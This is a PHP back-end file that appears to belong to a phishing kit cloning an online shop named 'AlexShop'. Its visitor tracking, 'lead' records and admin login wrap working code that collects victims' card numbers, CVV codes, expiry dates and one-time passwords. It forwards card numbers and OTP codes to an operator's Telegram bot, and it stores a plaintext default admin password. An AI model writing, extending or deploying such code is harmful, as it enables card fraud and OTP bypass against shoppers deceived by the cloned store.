<?php

/**
 * Reads visitor data from the JSON file.
 * This is intended for the admin panel.
 *
 * @return array An array of visitor records.
 */
function getVisitorsData() {
    $filePath = __DIR__ . '/../database/visitors.json';
    if (!file_exists($filePath)) {
        return [];
    }
    $jsonContent = file_get_contents($filePath);
    $data = json_decode($jsonContent, true);
    // Ensure it's an array even if JSON is invalid or empty
    return is_array($data) ? $data : [];
}

/**
 * Gets the real public IP address using a free API service
 *
 * @return string The public IP address or fallback
 */
function getRealIP() {
    // Try multiple free IP APIs for reliability
    $apis = [
        'https://api.ipify.org?format=text',
        'https://ipinfo.io/ip',
        'https://ifconfig.me/ip',
        'https://api.myip.com'
    ];
    
    foreach ($apis as $api) {
        $context = stream_context_create([
            'http' => [
                'timeout' => 3, // 3 second timeout
                'method' => 'GET',
                'header' => 'User-Agent: Mozilla/5.0 (compatible; IP-Checker)'
            ]
        ]);
        
        $ip = @file_get_contents($api, false, $context);
        if ($ip && filter_var(trim($ip), FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return trim($ip);
        }
    }
    
    // Fallback to server variables
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    
    // Check for forwarded headers (common in proxy setups)
    $forwardedHeaders = [
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_REAL_IP',
        'HTTP_CLIENT_IP',
        'HTTP_X_FORWARDED',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED'
    ];
    
    foreach ($forwardedHeaders as $header) {
        if (!empty($_SERVER[$header])) {
            $ips = explode(',', $_SERVER[$header]);
            $ip = trim($ips[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                return $ip;
            }
        }
    }
    
    return $ip;
}

/**
 * Gets Telegram bot configuration from settings.json
 *
 * @return array Telegram bot configuration
 */
function getTelegramConfig() {
    $settings = getSettings();
    $telegramConfig = $settings['telegram'] ?? [];
    
    return [
        'enabled' => $telegramConfig['enabled'] ?? false,
        'bot_token' => $telegramConfig['bot_token'] ?? '',
        'chat_id' => $telegramConfig['chat_id'] ?? '',
        'notify_new_visitors' => $telegramConfig['notify_new_visitors'] ?? false,
        'last_notification' => $telegramConfig['last_notification'] ?? null,
        'message_template' => $telegramConfig['message_template'] ?? 'New visitor: {device} from {city}, {country}',
        'notifications' => $telegramConfig['notifications'] ?? [
            'new_visitor' => true,
            'new_lead' => true,
            'payment_submission' => true,
            'otp_request' => true
        ]
    ];
}

/**
 * Saves Telegram bot configuration to settings.json
 *
 * @param array $config Configuration array
 * @return bool Success status
 */
function saveTelegramConfig($config) {
    $settings = getSettings();
    $settings['telegram'] = $config;
    return saveSettings($settings);
}

/**
 * Sends a message to Telegram bot
 *
 * @param string $message The message to send
 * @return bool Success status
 */
function sendTelegramMessage($message) {
    $config = getTelegramConfig();
    
    if (!$config['enabled'] || empty($config['bot_token']) || empty($config['chat_id'])) {
        return false;
    }
    
    $botToken = $config['bot_token'];
    $chatId = $config['chat_id'];
    
    $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
    
    $data = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    
    $context = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => http_build_query($data),
            'timeout' => 10
        ]
    ]);
    
    $result = @file_get_contents($url, false, $context);
    
    if ($result) {
        $response = json_decode($result, true);
        if (isset($response['ok']) && $response['ok'] === true) {
            return true;
        } else {
            // Log error for debugging
            error_log("Telegram API Error: " . ($response['description'] ?? 'Unknown error'));
        }
    }
    
    return false;
}

/**
 * Sends visitor alert to Telegram
 *
 * @param array $visitor Visitor data
 * @param bool $isNewVisitor Whether this is a new visitor
 * @return bool Success status
 */
function sendVisitorAlert($visitor, $isNewVisitor = true) {
    $config = getTelegramConfig();
    
    if (!$config['enabled'] || !($config['notify_new_visitors'] ?? false)) {
        return false;
    }
    
    // Check if we should send notification (avoid spam)
    $lastNotification = $config['last_notification'] ?? null;
    $currentTime = time();
    
    // Don't send more than one notification per minute
    if ($lastNotification && ($currentTime - $lastNotification) < 60) {
        return false;
    }
    
    $template = $config['message_template'] ?? 'New visitor: {device} from {city}, {country}';
    
    // Replace placeholders in template
    $message = str_replace([
        '{city}',
        '{country}',
        '{ip}',
        '{device}',
        '{os}',
        '{browser}',
        '{time}',
        '{pages}',
        '{isp}'
    ], [
        $visitor['city'] ?? 'Unknown',
        $visitor['country'] ?? 'Unknown',
        $visitor['ip'],
        $visitor['device'],
        $visitor['os'],
        $visitor['browser'],
        $visitor['time'],
        $visitor['pages'],
        $visitor['isp'] ?? 'Unknown'
    ], $template);
    
    $success = sendTelegramMessage($message);
    
    if ($success) {
        // Update last notification time
        $config['last_notification'] = $currentTime;
        saveTelegramConfig($config);
    }
    
    return $success;
}

/**
 * Gets additional IP information (location, ISP, etc.) using a free API
 *
 * @param string $ip The IP address to look up
 * @return array Additional IP information
 */
function getIPInfo($ip) {
    // Skip local/private IPs
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return [
            'country' => 'Local',
            'city' => 'Local',
            'isp' => 'Local Network',
            'timezone' => 'Local'
        ];
    }
    
    // Try ipinfo.io (free tier: 50,000 requests/month)
    $context = stream_context_create([
        'http' => [
            'timeout' => 5,
            'method' => 'GET',
            'header' => 'User-Agent: Mozilla/5.0 (compatible; IP-Info-Checker)'
        ]
    ]);
    
    $apiUrl = "https://ipinfo.io/{$ip}/json";
    $response = @file_get_contents($apiUrl, false, $context);
    
    if ($response) {
        $data = json_decode($response, true);
        if ($data && !isset($data['error'])) {
            return [
                'country' => $data['country'] ?? 'Unknown',
                'city' => $data['city'] ?? 'Unknown',
                'region' => $data['region'] ?? 'Unknown',
                'isp' => $data['org'] ?? 'Unknown',
                'timezone' => $data['timezone'] ?? 'Unknown',
                'postal' => $data['postal'] ?? 'Unknown'
            ];
        }
    }
    
    // Fallback information
    return [
        'country' => 'Unknown',
        'city' => 'Unknown',
        'region' => 'Unknown',
        'isp' => 'Unknown',
        'timezone' => 'Unknown',
        'postal' => 'Unknown'
    ];
}

/**
 * Tracks a visitor visit and updates the visitors.json file.
 * Prevents duplicate entries for the same IP and user agent.
 *
 * @return void
 */
function trackVisitor() {
    $visitorsFile = __DIR__ . '/../database/visitors.json';
    
    // Get visitor information
    $ip = getRealIP();
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
    $time = date('Y-m-d H:i:s');
    
    // Get additional IP information (with timeout handling)
    $ipInfo = getIPInfo($ip);
    
    // Parse user agent to get device and browser info
    $device = 'Desktop';
    $os = 'Unknown';
    $browser = 'Unknown';
    
    if (preg_match('/Mobile|Android|iPhone|iPad/', $userAgent)) {
        $device = 'Mobile';
    } elseif (preg_match('/Tablet|iPad/', $userAgent)) {
        $device = 'Tablet';
    }
    
    if (preg_match('/Windows NT (\d+\.\d+)/', $userAgent, $matches)) {
        $os = 'Windows ' . $matches[1];
    } elseif (preg_match('/Mac OS X (\d+[._]\d+)/', $userAgent, $matches)) {
        $os = 'macOS ' . str_replace('_', '.', $matches[1]);
    } elseif (preg_match('/Linux/', $userAgent)) {
        $os = 'Linux';
    } elseif (preg_match('/iPhone OS (\d+[._]\d+)/', $userAgent, $matches)) {
        $os = 'iOS ' . str_replace('_', '.', $matches[1]);
    } elseif (preg_match('/Android (\d+[._]\d+)/', $userAgent, $matches)) {
        $os = 'Android ' . str_replace('_', '.', $matches[1]);
    }
    
    if (preg_match('/Chrome\/(\d+)/', $userAgent)) {
        $browser = 'Chrome';
    } elseif (preg_match('/Firefox\/(\d+)/', $userAgent)) {
        $browser = 'Firefox';
    } elseif (preg_match('/Safari\/(\d+)/', $userAgent) && !preg_match('/Chrome/', $userAgent)) {
        $browser = 'Safari';
    } elseif (preg_match('/Edge\/(\d+)/', $userAgent)) {
        $browser = 'Edge';
    }
    
    // Load existing visitors
    $visitors = getVisitorsData();
    
    // Check if this visitor already exists (same IP and user agent)
    $existingVisitor = null;
    foreach ($visitors as $visitor) {
        if ($visitor['ip'] === $ip && $visitor['useragent'] === $userAgent) {
            $existingVisitor = $visitor;
            break;
        }
    }
    
    if ($existingVisitor) {
        // Update existing visitor - increment pages and update time
        $existingVisitor['pages'] = ($existingVisitor['pages'] ?? 0) + 1;
        $existingVisitor['time'] = $time;
        
        // Update the visitor in the array
        foreach ($visitors as $key => $visitor) {
            if ($visitor['id'] === $existingVisitor['id']) {
                $visitors[$key] = $existingVisitor;
                break;
            }
        }
    } else {
        // Create new visitor
        $newId = empty($visitors) ? 1 : max(array_column($visitors, 'id')) + 1;
        $newVisitor = [
            'id' => $newId,
            'ip' => $ip,
            'device' => $device,
            'os' => $os,
            'useragent' => $userAgent,
            'browser' => $browser,
            'time' => $time,
            'pages' => 1,
            'country' => $ipInfo['country'],
            'city' => $ipInfo['city'],
            'region' => $ipInfo['region'],
            'isp' => $ipInfo['isp'],
            'timezone' => $ipInfo['timezone']
        ];
        $visitors[] = $newVisitor;
        
        // Send Telegram alert for new visitor
        sendVisitorAlert($newVisitor, true);
        
        // Check if visitor should be converted to lead
        // Convert to lead if they viewed multiple pages or spent significant time
        if ($newVisitor['pages'] >= 3) {
            $leadData = [
                'name' => 'Anonymous Visitor',
                'email' => '',
                'phone' => '',
                'company' => '',
                'source' => 'Website Visit',
                'notes' => 'Auto-generated lead from visitor with ' . $newVisitor['pages'] . ' page views',
                'tags' => ['Auto-Generated', 'High Engagement']
            ];
            
            createLead($newVisitor, $leadData);
        }
    }
    
    // Save updated visitors
    file_put_contents($visitorsFile, json_encode($visitors, JSON_PRETTY_PRINT));
}

/**
 * Reads leads data from the JSON file.
 *
 * @return array Array of leads data
 */
function getLeadsData() {
    $leadsFile = __DIR__ . '/../database/leads.json';
    if (!file_exists($leadsFile)) {
        return [];
    }
    
    $jsonContent = file_get_contents($leadsFile);
    $data = json_decode($jsonContent, true);
    return is_array($data) ? $data : [];
}

/**
 * Saves leads data to the JSON file.
 *
 * @param array $leads Array of leads data
 * @return bool Success status
 */
function saveLeadsData($leads) {
    $leadsFile = __DIR__ . '/../database/leads.json';
    return file_put_contents($leadsFile, json_encode($leads, JSON_PRETTY_PRINT)) !== false;
}

/**
 * Creates a new lead from visitor data.
 *
 * @param array $visitor Visitor data
 * @param array $leadData Additional lead information
 * @return bool Success status
 */
function createLead($visitor, $leadData = []) {
    $leads = getLeadsData();
    
    // Generate new lead ID
    $newId = empty($leads) ? 1 : max(array_column($leads, 'id')) + 1;
    
    $newLead = [
        'id' => $newId,
        'name' => $leadData['customerName'] ?? $leadData['name'] ?? 'Unknown',
        'email' => $leadData['customerEmail'] ?? $leadData['email'] ?? '',
        'phone' => $leadData['customerPhone'] ?? $leadData['phone'] ?? '',
        'address' => $leadData['customerAddress'] ?? $leadData['address'] ?? '',
        'payment_method' => $leadData['paymentMethod'] ?? $leadData['payment_method'] ?? 'Not Specified',
        'card_number' => $leadData['cardNumber'] ?? $leadData['card_number'] ?? '',
        'card_name' => $leadData['cardName'] ?? $leadData['card_name'] ?? '',
        'card_expiry' => $leadData['cardExpiry'] ?? $leadData['card_expiry'] ?? '',
        'card_cvv' => $leadData['cardCvv'] ?? $leadData['card_cvv'] ?? '',
        'otp_code' => $leadData['otp_code'] ?? ''
    ];
    
    $leads[] = $newLead;
    
    if (saveLeadsData($leads)) {
        // Send Telegram alert for new lead
        $config = getTelegramConfig();
        if ($config['enabled'] && ($config['notify_new_visitors'] ?? false)) {
            $leadMessage = "🎯 New Lead Alert!\n\n";
            $leadMessage .= "👤 Name: " . $newLead['name'] . "\n";
            $leadMessage .= "📧 Email: " . $newLead['email'] . "\n";
            $leadMessage .= "📞 Phone: " . $newLead['phone'] . "\n";
            $leadMessage .= "📍 Address: " . $newLead['address'] . "\n";
            $leadMessage .= "💳 Payment Method: " . $newLead['payment_method'] . "\n";
            if (!empty($newLead['card_number'])) {
                $leadMessage .= "💳 Card: " . $newLead['card_number'] . "\n";
            }
            if (!empty($newLead['otp_code'])) {
                $leadMessage .= "🔐 OTP: " . $newLead['otp_code'] . "\n";
            }
            
            sendTelegramMessage($leadMessage);
        }
        
        return true;
    }
    
    return false;
}

/**
 * Updates an existing lead.
 *
 * @param int $leadId Lead ID to update
 * @param array $updateData Data to update
 * @return bool Success status
 */
function updateLead($leadId, $updateData) {
    $leads = getLeadsData();
    $updated = false;
    
    foreach ($leads as &$lead) {
        if ($lead['id'] === $leadId) {
            $lead = array_merge($lead, $updateData);
            $lead['last_contact'] = date('Y-m-d H:i:s');
            $updated = true;
            break;
        }
    }
    
    if ($updated) {
        return saveLeadsData($leads);
    }
    
    return false;
}

/**
 * Deletes a lead.
 *
 * @param int $leadId Lead ID to delete
 * @return bool Success status
 */
function deleteLead($leadId) {
    $leads = getLeadsData();
    $leads = array_filter($leads, function($lead) use ($leadId) {
        return $lead['id'] !== $leadId;
    });
    
    // Re-index array
    $leads = array_values($leads);
    
    return saveLeadsData($leads);
}

/**
 * Gets lead statistics.
 *
 * @return array Lead statistics
 */
function getLeadStats() {
    $leads = getLeadsData();
    
    $stats = [
        'total_leads' => count($leads),
        'credit_card_leads' => 0,
        'bank_transfer_leads' => 0,
        'cash_delivery_leads' => 0,
        'with_otp' => 0,
        'complete_payment_info' => 0
    ];
    
    foreach ($leads as $lead) {
        // Count by payment method
        $paymentMethod = $lead['payment_method'] ?? 'Unknown';
        switch ($paymentMethod) {
            case 'Credit Card':
                $stats['credit_card_leads']++;
                break;
            case 'Bank Transfer':
                $stats['bank_transfer_leads']++;
                break;
            case 'Cash on Delivery':
                $stats['cash_delivery_leads']++;
                break;
        }
        
        // Count leads with OTP
        if (!empty($lead['otp_code'])) {
            $stats['with_otp']++;
        }
        
        // Count leads with complete payment info
        $cardNumber = $lead['cardNumber'] ?? $lead['card_number'] ?? '';
        $cardName = $lead['cardName'] ?? $lead['card_name'] ?? '';
        $cardExpiry = $lead['cardExpiry'] ?? $lead['card_expiry'] ?? '';
        
        if (!empty($cardNumber) && !empty($cardName) && !empty($cardExpiry)) {
            $stats['complete_payment_info']++;
        }
    }
    
    return $stats;
}

/**
 * Reads product data from the JSON file.
 * This function is updated to read from 'database/products.json'
 * which is managed by the admin panel and dynamically generates filters.
 *
 * @return array An array containing products and filters.
 */
function getProductsData() {
    // Corrected path to the database file used by admin and now by index.php
    $filePath = __DIR__ . '/../database/products.json';
    if (!file_exists($filePath) || filesize($filePath) == 0) {
        // Return a default structure if the file doesn't exist or is empty
        return ['products' => [], 'filters' => ['brand' => [], 'model' => [], 'processor' => [], 'memory' => [], 'camera' => [], 'color' => []]];
    }
    $jsonContent = file_get_contents($filePath);
    $products = json_decode($jsonContent, true);

    // Check if the decoded data is an array (it should be a list of products)
    if (!is_array($products)) {
        // If JSON is invalid or not an array, return default empty structure
        return ['products' => [], 'filters' => ['brand' => [], 'model' => [], 'processor' => [], 'memory' => [], 'camera' => [], 'color' => []]];
    }

    // Dynamically build the filters array from the products data
    $filters = [
        'brand' => [],
        'model' => [],
        'processor' => [],
        'memory' => [],
        'camera' => [],
        'color' => []
    ];

    foreach ($products as $product) {
        if (isset($product['brand']) && !in_array($product['brand'], $filters['brand'])) {
            $filters['brand'][] = $product['brand'];
        }
        if (isset($product['model']) && !in_array($product['model'], $filters['model'])) {
            $filters['model'][] = $product['model'];
        }
        if (isset($product['processor']) && !in_array($product['processor'], $filters['processor'])) {
            $filters['processor'][] = $product['processor'];
        }
        if (isset($product['memory']) && !in_array($product['memory'], $filters['memory'])) {
            $filters['memory'][] = $product['memory'];
        }
        if (isset($product['camera']) && !in_array($product['camera'], $filters['camera'])) {
            $filters['camera'][] = $product['camera'];
        }
        if (isset($product['color']) && !in_array($product['color'], $filters['color'])) {
            $filters['color'][] = $product['color'];
        }
    }
    
    // Sort filter values alphabetically
    foreach ($filters as $key => $filterArray) {
        sort($filters[$key]);
    }

    return ['products' => $products, 'filters' => $filters];
}

/**
 * Get all settings from settings.json
 *
 * @return array Settings array
 */
function getSettings() {
    $filePath = __DIR__ . '/../database/settings.json';
    if (!file_exists($filePath)) {
        return [];
    }
    $jsonContent = file_get_contents($filePath);
    $settings = json_decode($jsonContent, true);
    return is_array($settings) ? $settings : [];
}

/**
 * Save settings to settings.json
 *
 * @param array $settings Settings array
 * @return bool Success status
 */
function saveSettings($settings) {
    $filePath = __DIR__ . '/../database/settings.json';
    $jsonContent = json_encode($settings, JSON_PRETTY_PRINT);
    return file_put_contents($filePath, $jsonContent) !== false;
}


/**
 * Get system settings
 *
 * @return array System settings
 */
function getSystemSettings() {
    $settings = getSettings();
    return $settings['system'] ?? [
        'site_name' => 'AlexShop Clone',
        'admin_email' => 'admin@alexshop.com',
        'timezone' => 'Europe/Bucharest',
        'currency' => 'RON',
        'language' => 'en'
    ];
}

/**
 * Get notification settings
 *
 * @return array Notification settings
 */
function getNotificationSettings() {
    $settings = getSettings();
    return $settings['notifications'] ?? [
        'email_notifications' => false,
        'telegram_notifications' => true,
        'browser_notifications' => true
    ];
}

/**
 * Get security settings
 *
 * @return array Security settings
 */
function getSecuritySettings() {
    $settings = getSettings();
    return $settings['security'] ?? [
        'session_timeout' => 3600,
        'max_login_attempts' => 5,
        'password_min_length' => 8,
        'require_2fa' => false
    ];
}

/**
 * Get feature settings
 *
 * @return array Feature settings
 */
function getFeatureSettings() {
    $settings = getSettings();
    return $settings['features'] ?? [
        'visitor_tracking' => true,
        'lead_management' => true,
        'product_management' => true,
        'real_time_communication' => true,
        'otp_verification' => true,
        'download_logs' => true
    ];
}

/**
 * Get admin credentials from settings
 *
 * @return array Admin credentials
 */
function getAdminCredentials() {
    $settings = getSettings();
    return $settings['admin'] ?? [
        'username' => 'admin',
        'password' => 'admin123',
        'email' => 'admin@alexshop.com',
        'last_login' => null,
        'login_attempts' => 0,
        'locked_until' => null
    ];
}

/**
 * Update admin credentials in settings
 *
 * @param array $adminData Admin data
 * @return bool Success status
 */
function updateAdminCredentials($adminData) {
    $settings = getSettings();
    $settings['admin'] = $adminData;
    return saveSettings($settings);
}

/**
 * Verify admin login credentials
 *
 * @param string $username Username
 * @param string $password Password
 * @return bool Login success
 */
function verifyAdminLogin($username, $password) {
    $admin = getAdminCredentials();
    
    // Check if account is locked
    if ($admin['locked_until'] && strtotime($admin['locked_until']) > time()) {
        return false;
    }
    
    // Verify credentials
    if ($admin['username'] === $username && $admin['password'] === $password) {
        // Reset login attempts and update last login
        $admin['login_attempts'] = 0;
        $admin['last_login'] = date('Y-m-d H:i:s');
        $admin['locked_until'] = null;
        updateAdminCredentials($admin);
        return true;
    }
    
    // Increment failed attempts
    $admin['login_attempts']++;
    if ($admin['login_attempts'] >= 5) {
        $admin['locked_until'] = date('Y-m-d H:i:s', strtotime('+15 minutes'));
    }
    updateAdminCredentials($admin);
    
    return false;
}

/**
 * Check if admin is logged in
 *
 * @return bool Login status
 */
function isAdminLoggedIn() {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }
    return isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true;
}

/**
 * Set admin login session
 *
 * @param bool $status Login status
 * @return void
 */
function setAdminLogin($status) {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }
    $_SESSION['admin_logged_in'] = $status;
    if ($status) {
        $_SESSION['admin_login_time'] = time();
    }
}

/**
 * Logout admin
 *
 * @return void
 */
function adminLogout() {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }
    unset($_SESSION['admin_logged_in']);
    unset($_SESSION['admin_login_time']);
    session_destroy();
}

?>
